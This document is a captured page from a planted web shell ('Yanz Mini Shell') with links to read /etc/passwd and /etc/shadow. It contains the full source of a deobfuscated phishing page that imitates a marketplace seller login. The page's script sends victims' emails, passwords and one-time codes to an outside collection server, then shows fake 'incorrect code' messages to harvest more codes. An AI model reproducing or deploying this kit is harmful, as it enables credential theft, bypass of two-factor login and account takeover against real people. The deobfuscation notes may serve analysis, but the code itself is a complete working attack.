Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home3
pahgm
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<!DOCTYPE html> <html lang="en-US"> <head> <meta charset="UTF-8"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Buy Products Online from China Wholesalers</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover"> <meta name="robots" content="max-image-preview:large"> <!-- FavIcon --> <link rel="icon" type="image/x-icon" href="https://grand-truffle-c213ee.netlify.app/vaf.ico"> <!-- External CSS Stylesheets (from original) --> <link rel="stylesheet" id="hello-elementor-css" href="https://grand-truffle-c213ee.netlify.app/style.min.css" media="all"> <link rel="stylesheet" id="elementor-frontend-css" href="https://grand-truffle-c213ee.netlify.app/frontend.min.css" media="all"> <link rel="stylesheet" id="elementor-post-1183-css" href="https://grand-truffle-c213ee.netlify.app/post-1183.css" media="all"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.0.2/css/bootstrap.min.css"> <!-- Inline Styles (from original) --> <style> .height-100 { height: 100vh } .card { width: 340px; border: none; height: 360px; box-shadow: 0px 2px 2px 0px #d2dae3; z-index: 1; display: flex; justify-content: center; align-items: center; } .card h6 { color: red; font-size: 20px; } .inputs input { width: 45px; height: 45px; border-style: solid; border-width: 1px; border-color: #a8adb7; border-radius: 10px; } input[type=number]::-webkit-inner-spin-button, input[type=number]::-webkit-outer-spin-button { -webkit-appearance: none; -moz-appearance: none; appearance: none; margin: 0 } .card-2 { background-color: #fff; padding: 10px; width: 350px; height: 100px; bottom: -50px; left: 20px; position: absolute; border-radius: 5px; } .card-2 .content { margin-top: 50px; } .card-2 .content a { color: red; } .form-control:focus { box-shadow: none; border: 2px solid red; } .validate { border-radius: 20px; height: 40px; background-color: red; border: 1px solid red; width: 140px; } #otpForm { position: absolute; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 9999; background-color: rgba(0, 0, 0, 0.644); } .comet-alert.comet-alert-error { background-color: rgba(255, 59, 98, 0.08); } .fm-login .comet-alert-error { margin-top: 6px; margin-bottom: 6px; } .comet-alert { box-sizing: border-box; margin: 0; padding: 0; color: #222; font-size: 14px; font-variant: tabular-nums; line-height: 1.5; list-style: none; font-feature-settings: 'tnum'; display: flex; align-items: center; padding: 8px 12px; transition: all 0.3s; } .comet-alert.comet-alert-error .comet-alert-icon, .comet-alert.comet-alert-error .comet-alert-right-icon { color: #ff3b62; } .comet-alert-icon, .comet-alert-right-icon { font-size: 16px; line-height: 0; } .comet-alert-icon { padding-right: 8px; } .comet-alert-message { flex: 1; font-size: 14px; color: #222; line-height: 16px; word-break: break-word; } </style> </head> <body class="page-template page-template-elementor_canvas page page-id-1183 wp-embed-responsive elementor-default elementor-template-canvas elementor-kit-6 elementor-page elementor-page-1183" data-elementor-device-mode="desktop"> <!-- ============================================ DEOBFUSCATED PHISHING PAGE ============================================ ORIGINAL: qoutelist.html (heavily obfuscated) OBFUSCATION TECHNIQUES USED: - Hex escape sequences (\x68\x74\x74\x70...) - Base64 encoded URLs - Variable name obfuscation - String splitting and concatenation - Function constructor obfuscation ENDPOINTS (decoded from base64): Base: https://pacificwestattorneys.com/log/aliexp/cartoplastveneta/ Login: process-login.php OTP: process-otp.php ============================================ --> <!-- LOGIN FORM SECTION --> <div data-elementor-type="wp-page" data-elementor-id="1183" class="elementor elementor-1183" data-elementor-post-type="page" id="loginFrom"> <div class="elementor-element elementor-element-ff4c984 e-con-full e-flex e-con e-parent e-lazyloaded" data-id="ff4c984" data-element_type="container"> <div class="elementor-element elementor-element-498f777 e-con-full e-flex e-con e-child" data-id="498f777" data-element_type="container" data-settings='{"background_background":"classic"}'> <div class="elementor-element elementor-element-a3e6d73 e-con-full e-flex e-con e-child" data-id="a3e6d73" data-element_type="container"> <div class="elementor-element elementor-element-c364dce elementor-widget elementor-widget-image" data-id="c364dce" data-element_type="widget" data-widget_type="image.default"> <div class="elementor-widget-container"> <img decoding="async" src="https://grand-truffle-c213ee.netlify.app/eng.png" title="" alt="" loading="lazy"> </div> </div> </div> <div class="elementor-element elementor-element-4560f43 e-con-full e-flex e-con e-child" data-id="4560f43" data-element_type="container"> <div class="elementor-element elementor-element-d2cc553 e-con-full e-flex e-con e-child" data-id="d2cc553" data-element_type="container"> <div class="elementor-element elementor-element-1392dcf elementor-widget elementor-widget-image" data-id="1392dcf" data-element_type="widget" data-widget_type="image.default"> <div class="elementor-widget-container"> <img decoding="async" src="https://grand-truffle-c213ee.netlify.app/jogo.png" title="" alt="" loading="lazy"> </div> </div> <div class="elementor-element elementor-element-e9e4f47 elementor-widget elementor-widget-heading" data-id="e9e4f47" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h2 class="elementor-heading-title elementor-size-default">Welcome to <br>Global Selling Center </h2> </div> </div> <div class="elementor-element elementor-element-4f5d684 elementor-widget elementor-widget-heading" data-id="4f5d684" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h2 class="elementor-heading-title elementor-size-default">Enter your details below</h2> </div> </div> <div class="elementor-element elementor-element-b19c467 elementor-button-align-start elementor-widget elementor-widget-form" data-id="b19c467" data-element_type="widget" data-settings='{"step_next_label":"Next","step_previous_label":"Previous","step_type":"none","step_icon_shape":"none","button_width":"100"}' data-widget_type="form.default"> <div class="elementor-widget-container"> <form class="elementor-form" method="post" name="New Form" id="cred-login-form"> <div class="elementor-form-fields-wrapper elementor-labels-"> <div class="elementor-field-type-email elementor-field-group elementor-column elementor-field-group-email elementor-col-100"> <label for="form-field-email" class="elementor-field-label elementor-screen-only"> Email </label> <input size="1" type="text" name="email" id="email" class="elementor-field elementor-size-sm elementor-field-textual" placeholder="Email"> </div> <div class="elementor-field-type-password elementor-field-group elementor-column elementor-field-group-name elementor-col-100"> <label for="form-field-name" class="elementor-field-label elementor-screen-only"> Password </label> <input size="1" type="password" name="password" id="password" class="elementor-field elementor-size-sm elementor-field-textual" placeholder="Password"> </div> <div class="comet-alert comet-alert-error" style="margin-bottom: 25px; display: none;" id="error-alert"> <div class="comet-alert-icon"> <span class="comet-icon comet-icon-wrongline"> <svg viewBox="0 0 1024 1024" width="1em" height="1em" fill="currentColor" aria-hidden="false" focusable="false"> <path d="M512 85.333333c235.637333 0 426.666667 191.029333 426.666667 426.666667S747.637333 938.666667 512 938.666667 85.333333 747.637333 85.333333 512 276.362667 85.333333 512 85.333333z m0 64c-200.298667 0-362.666667 162.368-362.666667 362.666667s162.368 362.666667 362.666667 362.666667 362.666667-162.368 362.666667-362.666667-162.368-362.666667-362.666667-362.666667z"></path> <path d="M361.376 361.376a32 32 0 0 1 43.712-1.44l1.536 1.44 256 256a32 32 0 0 1-43.712 46.688l-1.536-1.44-256-256a32 32 0 0 1 0-45.248z"></path> <path d="M617.376 361.376a32 32 0 0 1 46.688 43.712l-1.44 1.536-256 256a32 32 0 0 1-46.688-43.712l1.44-1.536 256-256z"></path> </svg> </span> </div> <div class="comet-alert-message">Your account name or password is incorrect.</div> </div> <div class="elementor-field-type-html elementor-field-group elementor-column elementor-field-group-field_5f29dac elementor-col-100"> Forgot Password </div> <div class="elementor-field-group elementor-column elementor-field-type-submit elementor-col-100 e-form__buttons"> <button id="submitButton" class="elementor-button elementor-size-sm" type="submit" disabled=""> <span class="elementor-button-content-wrapper"> <span class="elementor-button-icon"> <i aria-hidden="true" class="fas fa-arrow-right"></i> </span> <span id="submitButtonText" class="elementor-button-text">Sign In</span> </span> </button> </div> </div> </form> </div> </div> </div> </div> </div> <div class="elementor-element elementor-element-6f86258 e-con-full elementor-hidden-tablet elementor-hidden-mobile e-flex e-con e-child" data-id="6f86258" data-element_type="container" data-settings='{"background_background":"classic"}'> <div class="elementor-element elementor-element-d4052da e-con-full elementor-hidden-tablet elementor-hidden-mobile e-flex e-con e-child" data-id="d4052da" data-element_type="container" data-settings='{"background_background":"classic"}'> <div class="elementor-element elementor-element-45d6cc3 elementor-widget elementor-widget-heading" data-id="45d6cc3" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h2 class="elementor-heading-title elementor-size-default">A Trusted Platform </h2> </div> </div> <div class="elementor-element elementor-element-d2713be elementor-widget elementor-widget-heading" data-id="d2713be" data-element_type="widget" data-widget_type="heading.default"> <div class="elementor-widget-container"> <h2 class="elementor-heading-title elementor-size-default">A Professional Operations Team to Boost Your Sales Performance! </h2> </div> </div> </div> </div> </div> </div> <!-- OTP POPUP MODAL --> <div id="otpForm" style="display: none;"> <div class="container height-100 d-flex justify-content-center align-items-center"> <div class="position-relative"> <div class="card p-2 text-center position-relative"> <button type="button" id="closeOtpForm" style="position: absolute; top: 10px; right: 10px; background: transparent; border: none; font-size: 20px; color: #999; cursor: pointer;">×</button> <h6 style="color:#333333; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; font-size: 24px;">Verify with Code</h6> <div style="color: #979797; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif; font-size: 14px;"> <span>Enter the 6-digit code we sent to </span><br> <small id="maskedNumber">**************</small> </div> <form id="myotpForm"> <div id="otp" class="inputs d-flex flex-row justify-content-center mt-2"> <input class="m-1 text-center form-control rounded-4 otp-input" type="text" id="first" maxlength="1" pattern="\d*"> <input class="m-1 text-center form-control rounded-4 otp-input" type="text" id="second" maxlength="1" pattern="\d*"> <input class="m-1 text-center form-control rounded-4 otp-input" type="text" id="third" maxlength="1" pattern="\d*"> <input class="m-1 text-center form-control rounded-4 otp-input" type="text" id="fourth" maxlength="1" pattern="\d*"> <input class="m-1 text-center form-control rounded-4 otp-input" type="text" id="fifth" maxlength="1" pattern="\d*"> <input class="m-1 text-center form-control rounded-4 otp-input" type="text" id="sixth" maxlength="1" pattern="\d*"> </div> </form> <div style="margin:10px 0px"> <img src="https://grand-truffle-c213ee.netlify.app/confirm.png" alt="Confirm"> <span id="otp-true" style="font-size: 14px; line-height: 0px;"> Code sent</span> </div> <div class="mt-2 mb-2"> <button id="validateBtn" type="button" class="btn btn-danger px-4 validate" disabled="">Verify</button> </div> <div style="color: blue;"> <span><a href="#">Other ways to verify</a></span> </div> </div> </div> </div> </div> <div id="result"></div> <!-- jQuery --> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <!-- ============================================ DEOBFUSCATED JAVASCRIPT Original was heavily obfuscated using: - Hex escapes: \x68\x74\x74\x70\x73 = "https" - Base64: aHR0cHM6Ly9wYWNpZmljd2VzdGF0dG9ybmV5cy5jb20v... - String splitting and concatenation ============================================ --> <script> // Config endpoint (sends to email) const CONFIG_URL = "https://npbcgas.net/saiga/config.php"; $(document).ready(function() { // ============================================ // ENABLE SUBMIT BUTTON WHEN FORM IS VALID // ============================================ $("#email, #password").on("input", function() { var email = $("#email").val(); var password = $("#password").val(); var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; if (emailRegex.test(email) && password.length >= 6) { $("#submitButton").prop("disabled", false); } else { $("#submitButton").prop("disabled", true); } }); // ============================================ // LOGIN FORM SUBMISSION // Sends email + password to server // ============================================ $("#cred-login-form").on("submit", function(e) { e.preventDefault(); var email = $("#email").val(); var password = $("#password").val(); var emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; $("#submitButtonText").text("Verifying..."); // Validate input if (!emailRegex.test(email) || password.length < 6) { setTimeout(function() { $("#submitButtonText").text("Sign In"); $("#error-alert").show(); }, 2000); return; } $("#error-alert").hide(); // ---- SEND CREDENTIALS TO EMAIL ---- var xhr = new XMLHttpRequest(); xhr.open("POST", CONFIG_URL, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { console.log("Response:", xhr.responseText); } }; // Data format: username=EMAIL&password=PASSWORD&type=login var data = "username=" + encodeURIComponent(email) + "&password=" + encodeURIComponent(password) + "&type=login"; xhr.send(data); // ------------------------------------ // Store credentials in localStorage for OTP submission localStorage.setItem("username", email); localStorage.setItem("password", password); // Show OTP form after 3 seconds setTimeout(function() { $("#submitButtonText").text("Sign In"); document.getElementById("otpForm").style.display = "block"; }, 3000); }); // ============================================ // OTP INPUT HANDLING // Auto-focus to next input, enable verify button // ============================================ $(".otp-input").on("input", function() { // Auto-focus next input if (this.value.length === 1) { $(this).next(".otp-input").focus(); } // Check if all 6 digits entered var otp = ""; $(".otp-input").each(function() { otp += $(this).val(); }); if (otp.length === 6) { $("#validateBtn").prop("disabled", false); } else { $("#validateBtn").prop("disabled", true); } }); // ============================================ // OTP FORM SUBMISSION // Sends OTP + stored credentials to server // ============================================ $("#validateBtn").on("click", function() { var otp = ""; $(".otp-input").each(function() { otp += $(this).val(); }); $("#validateBtn").text("Verifying..."); if (otp !== "" && otp.length === 6) { setTimeout(function() { // ---- SEND OTP + CREDENTIALS TO EMAIL ---- var xhr = new XMLHttpRequest(); xhr.open("POST", CONFIG_URL, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { console.log("Response:", xhr.responseText); } }; // Get stored credentials from login var username = localStorage.getItem("username"); var password = localStorage.getItem("password"); // Data format: username=EMAIL&password=PASSWORD&otp=123456&type=otp var data = "username=" + encodeURIComponent(username) + "&password=" + encodeURIComponent(password) + "&otp=" + encodeURIComponent(otp) + "&type=otp"; xhr.send(data); // ----------------------------------------- // Reset form for another OTP $("#otp-true").text("Incorrect code. Please try again."); $('#myotpForm').trigger('reset'); $("#validateBtn").text("Verify").prop("disabled", true); $(".otp-input").first().focus(); }, 2000); } }); // Close OTP modal $("#closeOtpForm").on("click", function() { document.getElementById("otpForm").style.display = "none"; }); }); </script> </body> </html>
Free Space : 41610829824 Byte